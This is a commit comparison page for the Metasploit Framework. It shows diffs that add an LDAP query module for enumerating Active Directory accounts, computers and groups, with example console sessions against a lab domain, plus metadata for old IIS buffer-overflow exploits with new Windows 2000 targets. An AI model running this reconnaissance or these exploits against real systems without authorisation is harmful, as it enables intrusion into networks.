Compare commits

...

49 Commits

Author SHA1 Message Date
adfoster-r7 d1f6433a77 Land #16797, Workflows Labels fix typo 2022-07-21 13:46:23 +01:00
bcoles a7676dc375 Workflows: Labels: Fix typo 2022-07-21 12:08:57 +10:00
Metasploit e7ecd1618a automatic module_metadata_base.json update 2022-07-20 18:12:39 -05:00
Grant Willcox ecf8434f32 Land #16778, Deprecate checkvm script and update checkvm post module 2022-07-20 17:51:01 -05:00
Grant Willcox 09ffd7f115 Add in missing features from checkvm script to post/windows/gather/checkvm.rb 2022-07-20 17:21:58 -05:00
Grant Willcox a4dee1a171 Land #16743, Fix mssql crash when using tds encryption 2022-07-20 16:06:35 -05:00
Christophe De La Fuente f9a951d034 Land #16737, Remove initial code duplication between mssql clients 2022-07-20 19:44:25 +02:00
Jeffrey Martin 5dfec3f746 Land #16792, Widen rescue scope for reverse ssh handler 2022-07-20 09:28:26 -05:00
Jeffrey Martin 94db8b957b Land #16789, Add openssl version to debug command 2022-07-20 09:27:23 -05:00
adfoster-r7 e46a71f595 Land #16776, Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-20 02:50:29 +01:00
adfoster-r7 526ce819c0 Widen rescue scope for reverse ssh handler 2022-07-19 18:29:58 +01:00
Metasploit e1bb088ddb automatic module_metadata_base.json update 2022-07-19 09:31:40 -05:00
adfoster-r7 f02012a8ee Add openssl version to debug command 2022-07-19 15:26:05 +01:00
Spencer McIntyre ebb15ee9e7 Land #16598, Add in LDAP Query Module 2022-07-19 09:51:00 -04:00
bwatters e3e6afbaa3 Land #16753, ms03_007_ntdll_webdav: Cleanup and add additional offsets
Merge branch 'land-16753' into upstream-master
2022-07-19 08:48:06 -05:00
Spencer McIntyre 2eaccd657f Use an OptPath for QUERY_FILE_PATH
This adds tab completion and an extra check to make sure it exists.
2022-07-19 09:48:03 -04:00
Grant Willcox dcd4caf977 Remove excess error handling that was causing issues 2022-07-19 08:10:53 -05:00
Metasploit f043b121b3 automatic module_metadata_base.json update 2022-07-16 17:26:03 -05:00
Jack Heysel 2af8042bfa Land #16761, clean up ms01_023_printer
Adds additional offsets for various Windows 2000 targets.
Replaces raw socket TCP with HttpClient. This works fine in testing.
Fixes default payload, adds docs and notes.
2022-07-16 17:56:59 -04:00
Jack Heysel 5fd4c6c306 Land #16754, fix merge conflicts 2022-07-16 17:43:27 -04:00
jheysel-r7 adecb0d94b Merge branch 'master' into ms02_065_msadc 2022-07-16 17:26:23 -04:00
Metasploit e7e3ea1a31 automatic module_metadata_base.json update 2022-07-16 16:06:17 -05:00
Jack Heysel 77be219bc2 Land #16754, add offsets to ms02_065
Adds additional offsets for various Windows 2000
Professional targets, adds  docs, fixes default
payload and resolves rubocop violations.
2022-07-16 16:43:47 -04:00
bcoles 00444a6e62 Deprecate checkvm script 2022-07-16 18:40:32 +10:00
bcoles 1dcfc3406a Add Rex::Exploitation::CmdStagerFtpHttp to Msf::Exploit::CmdStager 2022-07-16 18:10:28 +10:00
Spencer McIntyre 25f50e607c Reduce code, be more permissive
This makes a few changes that should enable the module to function
better should it be dropped into a fresh MSF installation on its own.
2022-07-15 16:29:17 -05:00
Grant Willcox 2a8d95c121 Default to having a near empty custom file so that we can still update the default queries without issues vs preventing updates from occuring. If users want to override the defaults, then they accept the risk of not getting updates. Update documentation to also note this. 2022-07-15 16:29:12 -05:00
Grant Willcox 1e05630d26 Make sure that we load ACTIONs from the user's custom file at startup if they have changed anything or added any new ACTIONs 2022-07-15 16:29:12 -05:00
Grant Willcox 2d1acc0369 Refactor code and also add in proper fail_with error codes where needed. Also fix up module and documentation descriptions to be a bit clearer. 2022-07-15 16:29:01 -05:00
Grant Willcox 03ebbaf2d0 Add in RUN_SINGLE_QUERY and associated options, and then update the code and documentation accordingly. This will allow users to run single queries with associated attribute filters if they want to test out single queries at a time without changing YAML files 2022-07-15 16:29:00 -05:00
Grant Willcox 67cf39f4b9 Update documentation to include RUN_QUERY_FILE example. 2022-07-15 16:28:55 -05:00
Grant Willcox 32e5884589 Update error description to be more helpful when debugging. Also update DefaultAction to default to first entry in the list or RUN_QUERY_FILE if no other action is available 2022-07-15 16:28:50 -05:00
Grant Willcox c5f2507ee0 Fix up usage of the word columns where attributes was more appropriate. Also update the multi query logic to match new data format as it was broken before as a result of changes to file format. Finally remove extra parameters that are no longer needed. 2022-07-15 16:28:43 -05:00
Grant Willcox 8c236e789e Rename files to follow proper format. Add in documentation for examples. Then update code so we use Msf::Config.get_config_root to store the config file that we parse to get the actions outside of a Git tracked location. We will still use the default file to populate this non-git tracked location if its not already populated though. 2022-07-15 16:28:43 -05:00
Grant Willcox 3c56e272a1 Remove default actions and move them to default.yaml, then update code accordingly. Also update the initialization code so it will now load the possible actions dynamically from default.yaml. 2022-07-15 16:28:37 -05:00
Grant Willcox 438b4b1bf8 Rework the logic for output and make it a lot neater. Also redo the query logic thanks to help from Alan David Foster so the query itself will specify what fields we need vs us having to manually filter this out later on. Makes it a lot quicker and easier to work with 2022-07-15 16:28:31 -05:00
Grant Willcox 2a1a8aa632 Add in CSV reporting formatting thanks to some help from Alan David Foster 2022-07-15 16:28:30 -05:00
Grant Willcox d4809219b9 Add in JSON output option 2022-07-15 16:28:23 -05:00
Grant Willcox 515bfd296e Add in YAML query file implementation 2022-07-15 16:28:23 -05:00
Grant Willcox 65b9e1cb13 Push initial copy of work up 2022-07-15 16:27:56 -05:00
adfoster-r7 1b5e172f29 Land #16772, Add FtpHttp command stager - bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-15 09:55:21 +01:00
space-r7 f8101aa8e4 bump rex-exploitation gem from 0.1.31 to 0.1.33 2022-07-14 17:23:49 -05:00
Metasploit fde4d4ae22 Bump version of framework to 6.2.8 2022-07-14 12:09:54 -05:00
bcoles 59685f82f8 ms02_065_msadc: Cleanup and add additional offsets 2022-07-15 00:15:56 +10:00
bcoles 83bc954e9d ms01_023_printer: cleanup; use HttpClient; add additional targets 2022-07-09 01:36:10 +10:00
bcoles 3f63f9fcd1 ms02_065_msadc: Cleanup and add additional offsets 2022-07-08 00:26:02 +10:00
bcoles 7d111938d5 ms03_007_ntdll_webdav: Cleanup and add additional offsets 2022-07-07 20:31:57 +10:00
adfoster-r7 b42654875e Fix mssql crash when using tds encryption 2022-07-04 11:41:57 +01:00
adfoster-r7 5bc618e642 Remove initial code duplication between mssql clients 2022-07-01 14:26:04 +01:00
24 changed files with 2226 additions and 1332 deletions
+1 -1
View File
@@ -172,7 +172,7 @@ jobs:
This includes:
- All of the item points within this [tempate](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- All of the item points within this [template](https://github.com/rapid7/metasploit-framework/blob/master/.github/ISSUE_TEMPLATE/bug_report.md)
- The result of the \`debug\` command in your Metasploit console
- Screenshots showing the issues you're having
- Exact replication steps
+2 -2
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.2.7)
metasploit-framework (6.2.8)
actionpack (~> 6.0)
activerecord (~> 6.0)
activesupport (~> 6.0)
@@ -351,7 +351,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.31)
rex-exploitation (0.1.33)
jsobfu
metasm
rex-arch
+1 -1
View File
@@ -70,7 +70,7 @@ memory_profiler, 1.0.0, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.4, "New BSD"
metasploit-credential, 5.0.7, "New BSD"
metasploit-framework, 6.2.7, "New BSD"
metasploit-framework, 6.2.8, "New BSD"
metasploit-model, 4.0.4, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
@@ -0,0 +1,98 @@
---
queries:
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
attributes:
- dn
- name
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
attributes:
- dn
- displayName
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational roles in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGROLES
description: 'Dump info about all known organization units in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
@@ -0,0 +1,8 @@
---
queries:
# - action: SAMPLE_ACTION
# description: 'A description.'
# filter: '(objectClass=*)'
# attributes:
# - dn
# - objectClass
+123 -14
View File
@@ -19425,6 +19425,53 @@
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/ldap_query": {
"name": "LDAP Query and Enumeration Module",
"fullname": "auxiliary/gather/ldap_query",
"aliases": [
],
"rank": 300,
"disclosure_date": "2022-05-19",
"type": "auxiliary",
"author": [
"Grant Willcox"
],
"description": "This module allows users to query an LDAP server using either a custom LDAP query, or\n a set of LDAP queries under a specific category. Users can also specify a JSON or YAML\n file containing custom queries to be executed using the RUN_QUERY_FILE action.\n If this action is specified, then QUERY_FILE_PATH must be a path to the location\n of this JSON/YAML file on disk.\n\n Users can also run a single query by using the RUN_SINGLE_QUERY option and then setting\n the QUERY_FILTER datastore option to the filter to send to the LDAP server and QUERY_ATTRIBUTES\n to a comma seperated string containing the list of attributes they are interested in obtaining\n from the results.\n\n As a third option can run one of several predefined queries by setting ACTION to the\n appropriate value. These options will be loaded from the ldap_queries_default.yaml file\n located in the MSF configuration directory, located by default at ~/.msf4/ldap_queries_default.yaml.\n\n All results will be returned to the user in table, CSV or JSON format, depending on the value\n of the OUTPUT_FORMAT datastore option. The characters || will be used as a delimiter\n should multiple items exist within a single column.",
"references": [
],
"platform": "",
"arch": "",
"rport": 389,
"autofilter_ports": [
],
"autofilter_services": [
],
"targets": null,
"mod_time": "2022-07-19 09:48:03 +0000",
"path": "/modules/auxiliary/gather/ldap_query.rb",
"is_install_path": true,
"ref_name": "gather/ldap_query",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
"Stability": [
"crash-safe"
],
"SideEffects": [
"ioc-in-logs"
],
"Reliability": [
]
},
"session_types": false,
"needs_cleanup": false
},
"auxiliary_gather/mantisbt_admin_sqli": {
"name": "MantisBT Admin SQL Injection Arbitrary File Read",
"fullname": "auxiliary/gather/mantisbt_admin_sqli",
@@ -147002,7 +147049,7 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in the request processor of\n the Internet Printing Protocol ISAPI module in IIS. This\n module works against Windows 2000 service pack 0 and 1. If\n the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"description": "This exploits a buffer overflow in the request processor of the\n Internet Printing Protocol ISAPI module in IIS. This module\n works against Windows 2000 Server and Professional SP0-SP1.\n\n If the service stops responding after a successful compromise,\n run the exploit a couple more times to completely kill the\n hung process.",
"references": [
"CVE-2001-0241",
"OSVDB-3323",
@@ -147011,18 +147058,43 @@
"URL-https://seclists.org/lists/bugtraq/2001/May/0005.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
8080,
443,
8000,
8888,
8880,
8008,
3000,
8443
],
"autofilter_services": [
"http",
"https"
],
"targets": [
"Windows 2000 English SP0-SP1"
"Windows 2000 SP0-SP1 (Arabic)",
"Windows 2000 SP0-SP1 (Czech)",
"Windows 2000 SP0-SP1 (Chinese)",
"Windows 2000 SP0-SP1 (Dutch)",
"Windows 2000 SP0-SP1 (English)",
"Windows 2000 SP0-SP1 (French)",
"Windows 2000 SP0-SP1 (Finnish)",
"Windows 2000 SP0-SP1 (German)",
"Windows 2000 SP0-SP1 (Korean)",
"Windows 2000 SP0-SP1 (Hungarian)",
"Windows 2000 SP0-SP1 (Italian)",
"Windows 2000 SP0-SP1 (Portuguese)",
"Windows 2000 SP0-SP1 (Spanish)",
"Windows 2000 SP0-SP1 (Swedish)",
"Windows 2000 SP0-SP1 (Turkish)",
"Windows 2000 Pro SP0 (Greek)",
"Windows 2000 Pro SP1 (Greek)"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-09 01:36:10 +0000",
"path": "/modules/exploits/windows/iis/ms01_023_printer.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms01_023_printer",
@@ -147030,6 +147102,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -147195,7 +147276,7 @@
],
"rank": 300,
"disclosure_date": "2002-11-20",
"disclosure_date": "2002-11-02",
"type": "exploit",
"author": [
"aushack <patrick@osisecurity.com.au>"
@@ -147209,7 +147290,7 @@
"URL-http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0082.html"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -147227,9 +147308,18 @@
"https"
],
"targets": [
"Windows 2000 Pro English SP0"
"Windows 2000 Pro SP0-SP3 (English)",
"Windows 2000 Pro SP0 (Korean)",
"Windows 2000 Pro SP0 (Dutch)",
"Windows 2000 Pro SP0 (Finnish)",
"Windows 2000 Pro SP0 (Turkish)",
"Windows 2000 Pro SP0-SP1 (Greek)",
"Windows 2000 Pro SP1 (Arabic)",
"Windows 2000 Pro SP1 (Czech)",
"Windows 2000 Pro SP2 (French)",
"Windows 2000 Pro SP2 (Portuguese)"
],
"mod_time": "2017-11-09 03:00:24 +0000",
"mod_time": "2022-07-15 00:15:56 +0000",
"path": "/modules/exploits/windows/iis/ms02_065_msadc.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms02_065_msadc",
@@ -147237,6 +147327,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -147253,15 +147352,16 @@
"author": [
"hdm <x@hdm.io>"
],
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against any service pack.",
"description": "This exploits a buffer overflow in NTDLL.dll on Windows 2000\n through the SEARCH WebDAV method in IIS. This particular\n module only works against Windows 2000. It should have a\n reasonable chance of success against SP0 to SP3.",
"references": [
"CVE-2003-0109",
"OSVDB-4467",
"BID-7116",
"PACKETSTORM-30939",
"MSB-MS03-007"
],
"platform": "Windows",
"arch": "",
"arch": "x86",
"rport": 80,
"autofilter_ports": [
80,
@@ -147281,7 +147381,7 @@
"targets": [
"Automatic Brute Force"
],
"mod_time": "2020-10-02 17:38:06 +0000",
"mod_time": "2022-07-07 20:31:57 +0000",
"path": "/modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb",
"is_install_path": true,
"ref_name": "windows/iis/ms03_007_ntdll_webdav",
@@ -147289,6 +147389,15 @@
"post_auth": false,
"default_credential": false,
"notes": {
"Reliability": [
"repeatable-session"
],
"Stability": [
"crash-service-down"
],
"SideEffects": [
"ioc-in-logs"
]
},
"session_types": false,
"needs_cleanup": null
@@ -205015,7 +205124,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2022-04-02 10:43:57 +0000",
"mod_time": "2022-07-20 17:21:58 +0000",
"path": "/modules/post/windows/gather/checkvm.rb",
"is_install_path": true,
"ref_name": "windows/gather/checkvm",
@@ -0,0 +1,598 @@
## Vulnerable Application
This module allows users to query an LDAP server using either a custom LDAP query, or
a set of LDAP queries under a specific category. Users can also specify a JSON or YAML
file containing custom queries to be executed using the `RUN_QUERY_FILE` action.
If this action is specified, then `QUERY_FILE_PATH` must be a path to the location
of this JSON/YAML file on disk.
Users can also run a single query by using the `RUN_SINGLE_QUERY` option and then setting
the `QUERY_FILTER` datastore option to the filter to send to the LDAP server and `QUERY_ATTRIBUTES`
to a comma seperated string containing the list of attributes they are interested in obtaining
from the results.
As a third option can run one of several predefined queries by setting `ACTION` to the
appropriate value. These options will be loaded from the `ldap_queries_default.yaml` file
located in the MSF configuration directory, located by default at `~/.msf4/ldap_queries_default.yaml`.
Note that you can override the default query settings in this way by defining a query with an
action name that is the same as one of existing actions in the file at
`data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`. This will however prevent any updates
for that action that may be made to the `data/auxiliary/gather/ldap_query/ldap_queries_default.yaml`
file, which may occur as part of Metasploit updates/upgrades, from being used though, so keep this
in mind when using the `~/.msf4/ldap_queries_default.yaml` file.
All results will be returned to the user in table, CSV or JSON format, depending on the value
of the `OUTPUT_FORMAT` datastore option. The characters `||` will be used as a delimiter
should multiple items exist within a single column.
## Verification Steps
1. Do: `use auxiliary/gather/ldap_query`
2. Do: `set ACTION <target action>`
3. Do: `set RHOSTS <target IP(s)>`
4. Optional: `set RPORT <target port>` if target port is non-default.
5: Optional: `set SSL true` if the target port is SSL enabled.
6: Do: `run`
## Options
### OUTPUT_FORMAT
The output format to use. Can be either `csv`, `table` or `json` for
CSV, Rex table output, or JSON output respectively.
### BASE_DN
The LDAP base DN if already obtained. If not supplied, the module will
automatically attempt to find the base DN for the target LDAP server.
### QUERY_FILE_PATH
If the `ACTION` is set to `RUN_QUERY_FILE`, then this option is required and
must be set to the full path to the JSON or YAML file containing the queries to
be run.
The file format must follow the following convention:
```
queries:
- action: THE ACTION NAME
description: "THE ACTION DESCRIPTION"
filter: "THE LDAP FILTER"
attributes:
- dn
- displayName
- name
- description
```
Where `queries` is an array of queries to be run, each containing an `action` field
containing the name of the action to be run, a `description` field describing the
action, a `filter` field containing the filter to send to the LDAP server
(aka what to search on), and the list of attributes that we are interested in from
the results as an array.
### QUERY_FILTER
Used only when the `RUN_SINGLE_QUERY` action is used. This should be set to the filter
aka query that you want to send to the target LDAP server.
### QUERY_ATTRIBUTES
Used only when the `RUN_SINGLE_QUERY` action is used. Should be a comma separated list
of attributes to display from the full result set for each entry that was returned by the
target LDAP server. Used to filter the results down to manageable sets of data.
## Scenarios
### RUN_SINGLE_QUERY with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_SINGLE_QUERY
ACTION => RUN_SINGLE_QUERY
msf6 auxiliary(gather/ldap_query) > set QUERY_ATTRIBUTES dn,displayName,name
QUERY_ATTRIBUTES => dn,displayName,name
msf6 auxiliary(gather/ldap_query) > set QUERY_FILTER (objectClass=*)
QUERY_FILTER => (objectClass=*)
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Sending single query (objectClass=*) to the LDAP server...
[*] DC=daforest DC=com
==================
Name Attributes
---- ----------
name daforest
[*] CN=Users DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Users
[*] CN=Computers DC=daforest DC=com
===============================
Name Attributes
---- ----------
name Computers
*cut for brevity*
[*] CN=WAPPS1000022 OU=TST OU=Tier 1 DC=daforest DC=com
===================================================
Name Attributes
---- ----------
displayname WAPPS1000022
name WAPPS1000022
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
=================================================
Name Attributes
---- ----------
displayname WLPT1000014
name WLPT1000014
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
================================================================
Name Attributes
---- ----------
displayname WWKS1000016
name WWKS1000016
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
displayname WVIR1000013
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### RUN_QUERY_FILE with Table Output
Here is the sample query file we will be using:
```
$ cat test.yaml
---
queries:
- action: ENUM_USERS
description: "Enumerate users"
filter: "(|(objectClass=inetOrgPerson)(objectClass=user)(sAMAccountType=805306368)(objectClass=posixAccount))"
columns:
- dn
- displayName
- name
- description
- action: ENUM_ORGUNITS
description: "Enumerate organizational units"
filter: "(objectClass=organizationalUnit)"
columns:
- dn
- displayName
- name
- description
- action: ENUM_GROUPS
description: "Enumerate groups"
filter: "(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))"
columns:
- dn
- name
- groupType
- memberof
```
Here is the results of using this file with the `RUN_QUERY_FILE` action which will
run all queries within the file one after another.
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.27.51.83
RHOSTS => 172.27.51.83
msf6 auxiliary(gather/ldap_query) > set ACTION RUN_QUERY_FILE
ACTION => RUN_QUERY_FILE
msf6 auxiliary(gather/ldap_query) > set QUERY_FILE_PATH /home/gwillcox/git/metasploit-framework/test.yaml
QUERY_FILE_PATH => /home/gwillcox/git/metasploit-framework/test.yaml
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
QUERY_FILE_PATH /home/gwillcox/git/metasploit-fram no Path to the JSON or YAML file to load and run queries from
ework/test.yaml
RHOSTS 172.27.51.83 yes The target host(s), see https://github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
Auxiliary action:
Name Description
---- -----------
RUN_QUERY_FILE Execute a custom set of LDAP queries from the JSON or YAML file specified by QUERY_FILE.
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.27.51.83
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.27.51.83:389 Discovered base DN: DC=daforest,DC=com
[*] Loading queries from /home/gwillcox/git/metasploit-framework/test.yaml...
[*] Running ENUM_USERS...
[*] CN=Administrator CN=Users DC=daforest DC=com
============================================
Name Attributes
---- ----------
description Built-in account for administering the computer/domain
name Administrator
[*] CN=Guest CN=Users DC=daforest DC=com
====================================
Name Attributes
---- ----------
description Built-in account for guest access to the computer/domain
name Guest
*cut for brevity*
[*] Running ENUM_ORGUNITS...
[*] OU=Domain Controllers DC=daforest DC=com
========================================
Name Attributes
---- ----------
description Default container for domain controllers
name Domain Controllers
[*] OU=Admin DC=daforest DC=com
===========================
Name Attributes
---- ----------
name Admin
[*] OU=Tier 0 OU=Admin DC=daforest DC=com
=====================================
Name Attributes
---- ----------
name Tier 0
*cut for brevity*
[*] Running ENUM_GROUPS...
[*] CN=Administrators CN=Builtin DC=daforest DC=com
===============================================
Name Attributes
---- ----------
grouptype -2147483643
name Administrators
[*] CN=Users CN=Builtin DC=daforest DC=com
======================================
Name Attributes
---- ----------
grouptype -2147483643
name Users
[*] CN=Guests CN=Builtin DC=daforest DC=com
=======================================
Name Attributes
---- ----------
grouptype -2147483643
name Guests
[*] CN=Print Operators CN=Builtin DC=daforest DC=com
================================================
Name Attributes
---- ----------
grouptype -2147483643
name Print Operators
[*] CN=Backup Operators CN=Builtin DC=daforest DC=com
=================================================
Name Attributes
---- ----------
grouptype -2147483643
name Backup Operators
*cut for brevity*
[*] CN=EL-chu-distlist1 OU=T2-Roles OU=Tier 2 OU=Admin DC=daforest DC=com
=====================================================================
Name Attributes
---- ----------
grouptype -2147483646
name EL-chu-distlist1
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with Table Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN no The username to authenticate to LDAP server
BIND_PW no Password for the BIND_DN
OUTPUT_FORMAT table yes The output format to use (Accepted: csv, table, json)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-M
etasploit
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
msf6 auxiliary(gather/ldap_query) > set ACTION
set ACTION ENUM_ACCOUNTS set ACTION ENUM_DOMAIN_CONTROLLERS set ACTION ENUM_ORGROLES
set ACTION ENUM_ALL_OBJECT_CATEGORY set ACTION ENUM_EXCHANGE_RECIPIENTS set ACTION ENUM_ORGUNITS
set ACTION ENUM_ALL_OBJECT_CLASS set ACTION ENUM_EXCHANGE_SERVERS set ACTION RUN_QUERY_FILE
set ACTION ENUM_COMPUTERS set ACTION ENUM_GROUPS
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > run
[*] Running module against 172.20.161.209
[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
===========================================================
Name Attributes
---- ----------
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
dnshostname WIN-F7DQC9SR0HD.daforest.com
name WIN-F7DQC9SR0HD
operatingsystemversion 10.0 (20348)
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
===============================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname FSRWLPT1000000
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
name FSRWLPT1000000
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
=====================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname TSTWVIR1000000
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
name TSTWVIR1000000
*cut for brevity*
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
==========================================================
Name Attributes
---- ----------
description Created with secframe.com/badblood.
displayname WVIR1000013
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
name WVIR1000013
[*] Auxiliary module execution completed
msf6 auxiliary(gather/ldap_query) >
```
### ENUM_COMPUTERS with CSV Output
```
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
ACTION => ENUM_COMPUTERS
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
RHOSTS => 172.20.161.209
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
BIND_PW => thePassword123
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
BIND_DN => normal@daforest.com
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
OUTPUT_FORMAT => csv
msf6 auxiliary(gather/ldap_query) > show options
Module options (auxiliary/gather/ldap_query):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
BIND_PW thePassword123 no Password for the BIND_DN
